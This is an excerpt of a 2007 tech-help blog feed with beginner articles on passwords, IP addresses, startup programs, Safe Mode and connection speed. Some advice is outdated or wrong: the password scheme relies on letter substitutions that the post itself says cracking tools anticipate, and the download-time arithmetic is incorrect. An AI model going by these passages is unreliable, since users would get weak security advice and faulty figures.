&lt;p&gt;For another performance tweak you can also &lt;a href=&#34;/linux/turn-off-gnome-animations-and-hide-window-contents-while-dragging/&#34;&gt; Turn Off Gnome Animations and Hide Window Contents While Dragging&lt;/a&gt;.  This is especially useful for older machines or servers.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>What Exactly is an MP3?</title>
		<link href="https://www.marksanborn.net/faqs/what-exactly-is-an-mp3/index.html" />
		<updated>2007-08-30T00:00:00Z</updated>
		<id>https://www.marksanborn.net/faqs/what-exactly-is-an-mp3/index.html</id>
		<content type="html">&lt;p&gt;An MP3 is a file format.  It stands for MPEG-1 Audio Layer 3.  The name is not as really important as what exactly is digital audio.  Audio is nothing more than a sound wave.  It has certain attributes, usually these waves go up and down, have a height and a length.&lt;/p&gt;

&lt;p&gt;As you may know computers only communicate using 1s and 0s; therefore, in order to represent these waves on a computer we need to translate and record the attributes of these waves with 1s and 0s.  Below is a picture showing how we break down the attributes of the wave into numbers on a grid.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/08/digitalsignal.png&#34; alt=&#34;Digital Audio Signal&#34; /&gt;&lt;/p&gt;

&lt;p&gt;The numbers are then put in a sequence and stored digitally on a computer usually as a .wav file.  This file is an exact (close enough) copy or replication of the analog sound waves, hence the name .wav.  Since these files have to contain every attribute of the wave they can become very large and take up a lot of drive space.  This is where MP3 comes to the aid.&lt;/p&gt;

&lt;p&gt;MP3 takes the attributes of the wav file that the human ear cannot distinguish and removes them from the .wav file.  It also has a way of compressing the data using what is called lossy compression.  For example you could abbreviate the word Montana with MT.  As long as the person receiving the file understands that MT is an abbreviation for Montana.  This is called encoding and decoding.  Encoding in terms of compression is to represent data using the least amount of bits.  Decoding is interpreting the bits and displaying the actual data to the end user.&lt;/p&gt;

&lt;p&gt;To clarify Montana is encoded to MT.  As you can see MT is much smaller than Montana and takes up less space but means nothing to the end user until its decoded.  The decoder or codec then converts MT to Montana and you have the final result.&lt;/p&gt;

&lt;p&gt;MP3&amp;rsquo;s specific compression methods are too complicated to go into detail but hopefully you get the idea of what encoding and decoding is along with how analog sound waves are converted to digital 1s and 0s.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Picking Strong Passwords that you can Remember</title>
		<link href="https://www.marksanborn.net/security/picking-strong-passwords-that-you-can-remember/index.html" />
		<updated>2007-08-29T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/picking-strong-passwords-that-you-can-remember/index.html</id>
		<content type="html">&lt;p&gt;Passwords are needed for just about everything now.  How do can you remember them all?  Some sites force you to have 8 character password some 6 some even force you to have numbers in it.  So how do you come up with a password that is strong yet easy to remember possibly even a different password for each site you visit?&lt;/p&gt;

&lt;h3&gt;So what is a weak password?&lt;/h3&gt;

&lt;p&gt;Here is Wikipedia&amp;rsquo;s short list of passwords or types of password that shouldn&amp;rsquo;t be used.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;admin &amp;ndash; too easily guessed&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;1234 &amp;ndash; too easily guessed&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;abc123 &amp;ndash; too easily guessed&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;susan &amp;ndash; common personal name&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;password &amp;ndash; trivially guessed, used very often&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;p@$$\/\/0rd &amp;ndash; simple letter substitutions are pre-programmed into cracking tools&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;rover &amp;ndash; common name for a pet, also a dictionary word&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;12/3/75 &amp;ndash; date, possibly of personal importance&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;December12 &amp;ndash; Using the date of a forced password change is very common&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;nbusr123 &amp;ndash; probably a user name, and if so, very easily guessed&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;asdf &amp;ndash; a sequence of adjacent letters on many keyboards&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;qwerty &amp;ndash; a sequence of adjacent letters on many keyboards&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;aaaa &amp;ndash; repeated letters, can be guessed&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Strong Passwords you can Remember&lt;/h3&gt;

&lt;p&gt;A strong password contains a non dictionary word and has both alpha and numeric characters.  It may look like this.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;j7ayaYY88v&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But how do we come up with a password that appears entirely random yet easy to remember?&lt;/p&gt;

&lt;p&gt;I will show you a way that I think is easy to remember strong passwords or even one separate password per site.&lt;/p&gt;

&lt;p&gt;Start by choosing a base password a set of characters or mini password that all your password will contain.  This may be a password that you already have memorized and have been using for years.  Or it could be something that you just thought of that would make for a good strong password.  It is critical that this base password meets the following rules.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Not a word in the dictionary&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Contains at least one number and/or symbol&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;At least 8 characters long&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A way to come up with this type of password that is easy to remember is to use acronyms to your favorite poem, movie, or simple phrase.  One example may be: &lt;em&gt;YdkmPa!&lt;/em&gt;  Which converts to &lt;em&gt;You don&amp;rsquo;t know my Password anymore!&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;You can also come up with a password that is completely random that is based off of your old password.  Lets say your old password was &lt;em&gt;password&lt;/em&gt;.  This very common password can be made more secure by substituting each letter or every third letter for a number.  Lets start with the first letter, &amp;lsquo;p&amp;rsquo;.  This letter may represent a 9 since it looks similar.  The next letter to convert is a &amp;rsquo;s&amp;rsquo;.  Since this litter makes a ssss or zzzz sound I will make this letter a zzzero or 0.  The next letter would be an &amp;lsquo;o&amp;rsquo;.  This also can be a 0 since it is similar shape.  So our end password would look like.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;9a0sw0rd&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This of course is an example.  You should think of your own way of substituting letters and numbers to come up with an even more secure password.  Also when you come up with your own way up substituting you will be more likely to remember it.  Here are a few substitution examples.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Change every 2nd letter to the 4th one down the line in the alphabet&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Change only the letters in the top row of the keyboard that corresponds to the number above it.  Example q=1, w=2, e=3 etc..
(This may vary on different keyboards)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Change letters to numbers based on sounds or down strokes.  Example l=1, n=2, m=3&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Different Passwords for Different Sites&lt;/h3&gt;

&lt;p&gt;You may not want the same password for every site you visit in case one of your passwords were ever compromised.  What comes to mind for most people at this point is, oh no now I have to remember a new password for each site.  It actually is quite easy to have a different password for each site and have it easy to remember.  Here is an example.&lt;/p&gt;

&lt;p&gt;Site: gmail.com
Base password: &lt;em&gt;password&lt;/em&gt; which translates to &lt;em&gt;9a0sw0rd&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;You need to pick something from gmail.com that every site you visit in the future will have but will be different.  An example of this would be the 2nd letter and third letter of the url.  Or maybe a more obsecure one could be the 5th - 8th letters of gmail&amp;rsquo;s SSL certificate (I think this changes about once a year so be careful).&lt;/p&gt;

&lt;p&gt;Once you have some letters/numbers that are specific to the site you visit (in this case gmail.com) you can then directly append them to your password or do the same substitution you did before or come up with an entirely new one.&lt;/p&gt;

&lt;p&gt;Site: gmail.com
Base password: 9a0sw0rd
New password: 9a0sw0rdma (taken directly from the 2nd and 3rd letters of the domain)&lt;/p&gt;

&lt;p&gt;Again come up with your own substitution that makes sense to you.&lt;/p&gt;

&lt;p&gt;I understand that most of the time simple passwords are fine because most modern sites will allow only a few attempts before kicking you out of the login page; however, password cracking techniques are always improving and I think this method of generating multiple passwords for different sites is quite easy and sometimes fun :).  So I encourage you to stretch your imagination and come up with ways of making your passwords more secure.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Does Having Many files on your Computer Slow it Down?</title>
		<link href="https://www.marksanborn.net/faqs/does-having-many-files-on-your-computer-slow-it-down/index.html" />
		<updated>2007-08-27T00:00:00Z</updated>
		<id>https://www.marksanborn.net/faqs/does-having-many-files-on-your-computer-slow-it-down/index.html</id>
		<content type="html">&lt;p&gt;Actually no.  Unless you search for files on your hard drive on a daily basis or have less than 1% disk space left having a hard drive full of files does not effect your daily computer operation.  This includes music, documents, pictures, videos, programs etc&amp;hellip;&lt;/p&gt;

&lt;h3&gt;So what are these files?&lt;/h3&gt;

&lt;p&gt;Files on your computer are nothing more than bits of data, 1s and 0s.  When they are sitting on your computer they do not effect how fast you browse the web, or play a game, or watch a movie, or how fast your computer starts up.&lt;/p&gt;

&lt;p&gt;You can think of your hard drive as a filing cabinet just storing your files for use at a later time.  When you need to pull up a file your computer knows the precise location of the file and retrieves the file extremely fast.  Simply adding more files to the cabinet only makes the search for the file marginally slower but it doesn&amp;rsquo;t make your computer run slower.&lt;/p&gt;

&lt;h3&gt;So Where did this misconception come from?&lt;/h3&gt;

&lt;p&gt;Well, back in the old days, (only a few years ago) computers had relatively small hard drives and they were expensive.  Many times a computer would only have a hard drive large enough to hold the operating system and only a few programs.  The problem back then was that when the hard drive was full it would have little/no space left for virtual memory (backup memory for when the ram gets full) and the computer would suffer in performance when using programs requiring lots of RAM.  Today hard drives have become much cheaper and are able to hold a lot more files and programs.  These large drives rarely become full and this is no longer an issue.  This performance loss due to a full drive will only happen if your hard drive is more than 99% full.&lt;/p&gt;

&lt;p&gt;Another reason someone might mistakenly believe their computer is slow because of many files is due to P2P (peer to peer) programs.  Many times people will install P2P programs to download music.  After awhile they collect a few MP3s and they begin to notice that their computer is running much slower.  They assume that their computer is slow because of the collection of MP3s on their computer.  What is really happening is that the P2P programs are installing adware/spyware on the computer.  These are programs that are running constantly using system resources thus causing your computer to run slower.  Any program a computer is currently running will use some system resources.  As soon the P2P program installs enough of these you will begin to notice the drop in computer performance.  To get rid of spyware see the Spyware Removal Guide.&lt;/p&gt;

&lt;p&gt;So there are many reasons why your computer might start running slow but having many files stored on your hard drive will not have any noticeable effect to our normal computer operations.  If you are having problems with a slow computer you may have adware/spyware, a virus, many &lt;a href=&#34;/software/required-startup-programs/&#34;&gt;startup programs&lt;/a&gt;, or winrot.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Find Your IP Address</title>
		<link href="https://www.marksanborn.net/howto/find-your-ip-address/index.html" />
		<updated>2007-08-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/find-your-ip-address/index.html</id>
		<content type="html">&lt;p&gt;Since most of the computers today communicate via the TCP/IP Protocol (don&amp;rsquo;t worry if you don&amp;rsquo;t know what that is) these computers must have an IP address in order to communicate.  You can think of the IP address like a phone number or street address.  For example, if we wanted to talk to &lt;a href=&#34;http://www.google.com&#34;&gt;http://www.google.com&lt;/a&gt; we must dial up their number (IP address) and ask them for something.  Maybe we want to ask them if we can do a search on socks.  When Google receives this request it may respond by sending a package to our computer.  It does this by sending the package (list of websites that have information about socks) to our computer&amp;rsquo;s IP address.  If we didn&amp;rsquo;t have an IP address Google wouldn&amp;rsquo;t know how to deliver the package.&lt;/p&gt;

&lt;p&gt;The IP address is the basic way computer communicate on modern networks so it is sometimes very useful to know your IP address for many reasons.  Chances are if you are reading this you already have a reason to know your IP address so I will show you how to find yours now.&lt;/p&gt;

&lt;h3&gt;Find your IP Address in Windows Vista | XP | NT or 2000&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/08/windows-logo.jpg&#34; alt=&#34;Windows Logo&#34; /&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Click Start - The start menu will come up&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Click Run&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Type in &lt;strong&gt;cmd&lt;/strong&gt; and then press enter - A black box with some text should come up&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Type &lt;strong&gt;ipconfig&lt;/strong&gt; If you get a command not found error you have typed the wrong command and you need to check it and try again.  If you want to view more information about your computer&amp;rsquo;s network card you can type &lt;strong&gt;ipconfig -all&lt;/strong&gt; .  Go ahead and try it and see what other information you can learn about your network devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After you have type in the command from the step above go through and locate the text that says IP address.  Beside this will be your computer&amp;rsquo;s IP address.&lt;/p&gt;

&lt;h3&gt;Find your IP Address on a Mac&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/08/mac-logo.jpg&#34; alt=&#34;Mac Logo&#34; /&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Use Finder to open the applications folder&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; then go to Utilities&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; then go to terminal. When the terminal window opens, and the prompt appears, type ifconfig and press enter. The IP address will appear on the lines that start with &amp;ldquo;inet&amp;rdquo;.&lt;/p&gt;

&lt;h3&gt;Find your IP Address in Linux&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/08/tux-logo.jpg&#34; alt=&#34;Tux Logo&#34; /&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Open a terminal.  You can usually switch to a terminal by hitting ctrl + alt + F1 at the same time.  To switch back use ctrl + alt + F7.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Once you have a terminal open type &lt;strong&gt;ifconfig&lt;/strong&gt;.  The IP address will then be listed.  You may have to be logged in as root to use the ifconfig command.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Required Startup Programs</title>
		<link href="https://www.marksanborn.net/software/required-startup-programs/index.html" />
		<updated>2007-08-23T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/required-startup-programs/index.html</id>
		<content type="html">&lt;p&gt;On any given computer there are usually many programs that are set to run upon windows starting.  Most of these startup programs are unnecessary but some are required.   You already know how to &lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;remove startup programs&lt;/a&gt; but you just don&amp;rsquo;t know which ones are required for your computer to run normally.&lt;/p&gt;

&lt;p&gt;Typically the only program you need to have running on startup for a Windows machine is an anti-virus program.  All other startup programs are unnecessary and should probably be removed.  Most of the core operating system programs that are set to run on startup are included in another list categorized as services anyways.  So you don&amp;rsquo;t really have to worry about removing something system critical.  Another thing to remember is that if you remove something from system startup you are not actually deleting the program you are simply telling windows that you don&amp;rsquo;t want that program to startup anymore.  This action can then be easily reversed so there is little harm in turning off startup programs.&lt;/p&gt;

&lt;p&gt;I will make a list below of the programs that I believe may be useful for system startup or required startup programs.  For a list of programs that should be removed see &lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;Startup Programs and Removing Them&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ccApp (Symantec Anti-virus) look for your specific anti-virus maybe it is NOD32 or AVG&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;SynTPEnh (synaptics) laptop touchpads&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;SynTPLpr (synaptics) laptop touchpads&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;BatteryLife (anything that mentions battery life on a laptop may be useful)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Like I mentioned in &lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;Startup Programs and Removing Them&lt;/a&gt;, You shouldn&amp;rsquo;t really worry too much about disabling something you may need.  If you find that a program is not in your system tray or a program is not loading anymore you can go back and enable it again.&lt;/p&gt;

&lt;p&gt;Feel free to send me program names that you believe are required or may be useful on system startup through my contact form at the top of this page.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Start Your Computer in Safe Mode</title>
		<link href="https://www.marksanborn.net/howto/start-your-computer-in-safe-mode/index.html" />
		<updated>2007-08-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/start-your-computer-in-safe-mode/index.html</id>
		<content type="html">&lt;p&gt;Safe Mode is a special diagnostic mode of Windows used for troubleshooting. Often it allows you to make changes to the operating system when you can not boot normally.  This is usually caused by various reasons like incorrect drivers, viruses, spyware, and corrupt files.  When your computer is in safe mode it only loads the absolute essential drivers needed to run.&lt;/p&gt;

&lt;p&gt;Safe mode also restricts all startup programs from running.  This means it is especially helpful to use when scanning for spyware.  Since computers that are infected with spyware sometimes run startup programs that create pop-ups and slow down your computer,  you can usually scan your computer for spyware much faster and delete more spyware/viruses when in safe mode.&lt;/p&gt;

&lt;h3&gt;How to get Into Safe Mode&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Shut down your computer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You are about to turn your computer back on, but get ready to hit the F8 key rapidly.  It is usually located on the top row of the keyboard.&lt;/p&gt;

&lt;p&gt;Note: On some keyboards I noticed that the &amp;ldquo;F&amp;rdquo; or Function keys like F8 are not activated by default and you must hit the &amp;ldquo;f-lock&amp;rdquo; key before F8 will work.&lt;/p&gt;

&lt;p&gt;Press the power button to turn your computer back on.&lt;/p&gt;

&lt;p&gt;Immediately begin tapping the F8 key along the top of your keyboard repeatedly.  Usually 2-3 times per second is sufficient.  The reason you have to continuously tap the F8 key is because computers are booting at a much faster rate and most computers only have a split second window of opportunity.  This window of opportunity is between the last boot sequence before the Windows logo appears.  If you see the windows logo you missed the window.&lt;/p&gt;

&lt;p&gt;A black and white list of options should appear after several seconds.  (On newer machines, tapping the button too fast may result in a high-pitched beep or the machine staying on a black screen for several minutes.  If this occurs, turn your machine off and try hitting F8 slower.)&lt;/p&gt;

&lt;p&gt;On the black and white screen there should be a list of options for you to choose from.  You will need to use the arrow keys on your keyboard to navigate up and down the list of options.&lt;/p&gt;

&lt;h3&gt;Which Safe Mode Option Should I Use?&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Safe Mode: Diagnostic Mode:&lt;/strong&gt; This will not load CD-ROM drivers or Network capabilities.  Use this mode if you cannot get the others to work.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Safe Mode with Networking:&lt;/strong&gt; This mode that supports networking and internet access.  I usually go for this mode incase I need to download something from the internet while I am troubleshooting.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Safe Mode with Command Prompt:&lt;/strong&gt; Brings the computer to a DOS prompt.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Step By Step Confirmation:&lt;/strong&gt; Allows you to monitor the loading of the operating system step by step. For Troubleshooting boot problems.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After your select one of these options you should eventually end up in Windows Safe Mode.  Your computer&amp;rsquo;s resolution will be smaller meaning all text and icons will appear larger and you will probably have a black desktop background with windows safe mode text in the corners.&lt;/p&gt;

&lt;h3&gt;Getting out of Safe Mode&lt;/h3&gt;

&lt;p&gt;Getting out of safe mode is really easy.  Simply restart your computer as normal to exit safe mode.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Check Your Internet Speed</title>
		<link href="https://www.marksanborn.net/howto/check-your-internet-speed/index.html" />
		<updated>2007-08-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/check-your-internet-speed/index.html</id>
		<content type="html">&lt;p&gt;There are many reasons to check your internet speed.  One reason is to troubleshoot your network to see if you are limited by your upload speed or download speed.  Another reason is to find out if you are getting the advertised speed you were promised.  Internet speed tests are really easy to do and only take a few minutes.&lt;/p&gt;

&lt;p&gt;To check your internet speed go to the &lt;a href=&#34;http://www.speakeasy.net/speedtest/&#34;&gt;speak easy speed test&lt;/a&gt;.  Then click on the server that is closest to you.&lt;/p&gt;

&lt;h3&gt;What do these connection speeds mean?&lt;/h3&gt;

&lt;p&gt;Network bandwidth is almost always measured in bits. eg. 3 Megabit per second connection or 3Mb.  This however is often confusing to consumers as download speed and files are measured in bytes.  So how fast can I download a 3 megabyte file?  Many users would make the mistake and say it would take about three seconds.  In order to determine how long a download will take you need to convert megabits to megabytes :)&lt;/p&gt;

&lt;p&gt;A bit is a digit of data, either a 0, or a 1.  A string of eight bits equals one byte so 1 megabit is equal to 125 kilobytes which would take about 25 seconds to download on a 3 Megabit connection.&lt;/p&gt;

&lt;p&gt;An easy rule of thumb would be to take about &lt;sup&gt;1&lt;/sup&gt;&amp;frasl;&lt;sub&gt;10&lt;/sub&gt; of the connection speed to determine the approximate download speed.  So a 3 Megabit connection would roughly download a file at 300 kilobytes a second.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Startup Programs and Removing Them</title>
		<link href="https://www.marksanborn.net/howto/startup-programs-and-removing-them/index.html" />
		<updated>2007-08-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/startup-programs-and-removing-them/index.html</id>
		<content type="html">&lt;p&gt;So you start up your computer only to wait 5 to even 15 minutes for Windows to fully load before you can go ahead and use your computer.  This can be very frustrating to the user.  More and more, programs are inserting themselves into the startup process so that every time you turn on your computer all sorts of unnecessary programs are running in the background without your permission.  Most computer manufacturers including Dell, are notorious for pre-bundling unnecessary software that runs in the background of your system.  The problem is that all of these programs and processes take up memory, CPU time, and other resources that can significantly slow your computer.&lt;/p&gt;

&lt;p&gt;This annoying problem can be easily solved by investing only a few minutes of your time to identify the programs running on computer startup and prevent them from running.  If you frequently start or restart your computer you will find that you will save a lot of time and your minimal time invested will be well worth your trouble.  Now lets get started!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note: this howto is not about removing any program components, only preventing them from running on startup. The computer user can then retain the option of running something at any time, while removing it from the startup process.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;OK, the first step is to identify the programs that are running themselves when your computer first starts up.  An easy way to do this is to save whatever you were working on and restart your computer.  When your computer is finished starting up don&amp;rsquo;t open any programs just notice the icons in the lower right hand portion of your screen.  You may have one or two or maybe a bunch.  Make a mental note of what they are or write them down if you have many.  If you are unsure what the program is hover your mouse over the icon and a tool tip will tell you what it is.&lt;/p&gt;

&lt;h3&gt;A Few Example Startup Programs&lt;/h3&gt;

&lt;p&gt;The only running program I tend to have on startup on a Windows machine is Anti-virus.  You will usually find your startup programs hanging out in the system tray (Lower right hand corner near the clock-You may have to click on the expand arrow to see all of these programs if you have many) Your needs may vary so I will give a few examples of what I would consider a waste of resources from startup programs.  You then can decide if that little messaging program is absolutely necessary to run every time you start your computer.  Chances are that you have some programs in your system tray that you don&amp;rsquo;t even know what they do.  In more cases than not there is no need for a program to be running in the system tray and it is safe as well as  recommended that you get your system tray to be as minimal as possible.  With that in mind when in doubt get rid of it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quicktime&lt;/strong&gt;
I have no need to have Quicktime running in the background collecting information about me and causing my computer to use unnessesary CPU cycles.  When I want to watch a movie I will open up my media player and play my movie.  After all Quicktime is only a codec and doesn&amp;rsquo;t need to be running anything in the background of your computer ever!  This is only one example of course.  Lets look at another.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Skype&lt;/strong&gt;
Skype is a program that many people use and want as a startup program because they cannot accept incoming calls unless it is running.  The way I use Skype is to turn it on when I need it.  If I know that I will be expecting a call from Norway at a specific time I turn it on a few minutes before I expect the call.  After all you are probably not sitting at your computer all day anyways so if Skype is running while you are away people will be trying to call you.  Rather when you are online with Skype make it mean that you are at your computer and ready to talk if someone wants to call.  This is why I prevent Skype from running on startup.  If you are at a work computer and/or use your computer to make many calls via Skype you may need to keep Skype running while you are at work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Java&lt;/strong&gt;
Java is a great programming language and is often required by many Windows programs; however, the Windows Java runtime installs a program that sits in your system tray and looks for updates and generally wastes CPU cycles and system memory.  I am all for updating your software.  Almost always it is a good idea to have updated software.  The only problem is that having a program constantly running looking for updates is a complete waste of your computer&amp;rsquo;s resources.  Java is like the Quicktime codec example.  There is no reason that the program has to be running unless you are running a program that requires the Java runtime.  The program that requires the Java runtime will open it when needed and close it when it is done.  There is once again no reason for this to be running at all times.&lt;/p&gt;

&lt;h3&gt;More serious problems with startup programs&lt;/h3&gt;

&lt;p&gt;There are more serious versions of startup programs and these are the ones you really have to watch out for.  These programs are generally spyware or adware and don&amp;rsquo;t reveal themselves in the system tray.  Why would they? If they did you would become aware that they are on your computer and you would probably attempt to remove them.  For more information about spyware/adware see my spyware adware guide.  Fortunately for us however, there is a program that will reveal most of the hidden startup programs and best of all it is built into Windows if you have Windows XP or Windows 98 (If you still run windows 98 you need to upgrade).  If you are unsure which version of windows you have you can press the &amp;ldquo;windows key&amp;rdquo; + break (The windows key is the key on your computer with the Windows logo) and a window will pop up showing you the version of windows you have.  To run this built in program click start &amp;gt; then go to run &amp;gt; type in &amp;lsquo;msconfig&amp;rsquo; (without quotes).&lt;/p&gt;

&lt;h3&gt;Using Msconfig&lt;/h3&gt;

&lt;p&gt;Once you have msconfig running you will notice some tabs along the top.  The tabs in this program we are going to focus on is the General tab and the Startup tab.  The General tab has the three options for startup:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Normal Startup&lt;/strong&gt; - Default loads all programs set to run on startup. If you make changes in the Startup tab this will move to the Selective Startup automatically&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Diagnostic Startup&lt;/strong&gt; - Probably the most useful of the three options allowing you to disable ALL programs from starting on startup in one fell swoop.  This is not entirely useful by itself since you are going to want some of your aplications to run on startup, but if you select this option hit apply and restart your computer you will get a feel for what your computer would be like with no startup programs.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Selective Startup&lt;/strong&gt; - This is probably the option you will end up going with; however, you do not need to select this option.  If you make ANY changes in the Startup tab of Msconfig this option will automatically be selected.  This means that you have startup programs that you are preventing from running via the startup tab (Do not change anything below this option).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The startup tab lists all the programs that Windows will run the second your computer boots up.  Inside the Startup tab window you will notice that there are three columns to sort by one is by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Startup Item&lt;/strong&gt; - This is a short usually one word description or name of the item that is starting up.  It will sometimes say what it is and other times be totally obscure.  For example Skype&amp;rsquo;s Startup Item says &amp;lsquo;Skype&amp;rsquo;.  Where the Java runtime says &amp;lsquo;jusched&amp;rsquo;.  Sometimes if you are unsure you can do a Google search and find out what the program is.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Command&lt;/strong&gt; - This is usually the best way to identify a Startup Item as it shows the path of where the program is.  The program path usually indicates what the program is indirectly by saying for example c:/Program Files/Java/jre1.6.0.  As you can see the &amp;lsquo;jusched&amp;rsquo; Startup Item is some sort of Java program we can tell that because under the command column it says java in the program path.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Location&lt;/strong&gt; - The information in this column is usually not needed for identifying Startup Items.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Go ahead and go through this list and unselect all of the programs that you think are unnessesary startup programs.  If you have an antivirus program make sure not to unselect it; although, if you do select it you can always open up Msconfig again and select it again and restart.  These actions are NOT permanent and this does not actually remove the program it just simply instructs windows to ignore these on startup.&lt;/p&gt;

&lt;p&gt;Just experiment and turn these off one at a time or if you are pretty sure its not needed just go crazy and start unchecking.  Remember these are not permanent you are NOT removing these programs you are just telling Windows to ignore them on startup.&lt;/p&gt;

&lt;p&gt;If you still unsure about what to remove you can type them up and send them to me via my contact form at the top of this page.  As long as I don&amp;rsquo;t get a swarmed with requests I will email you back with suggestions on which programs I would remove.  Here is a list of programs that I usually disable.  I will add to this list as a find more of these running unnessesary CPU resource eating programs :)&lt;/p&gt;

&lt;h3&gt;Common Programs that Should not Need to be Run on Startup&lt;/h3&gt;

&lt;p&gt;Quicktime - &lt;a href=&#34;http://www.free-codecs.com/download/QuickTime_Alternative.htm&#34;&gt;Get QuickTime Alternative&lt;/a&gt; instead.
Real Player - &lt;a href=&#34;http://www.free-codecs.com/download/Real_Alternative.htm&#34;&gt;Real Alternative&lt;/a&gt; instead.
MSN Messenger
Windows Live Messenger
Divx - Get &lt;a href=&#34;http://hellninjacommando.com/defilerpak/&#34;&gt;defilerpak&lt;/a&gt; instead.&lt;/p&gt;

&lt;h3&gt;Startup Programs and my Recommendations&lt;/h3&gt;

&lt;ul&gt;
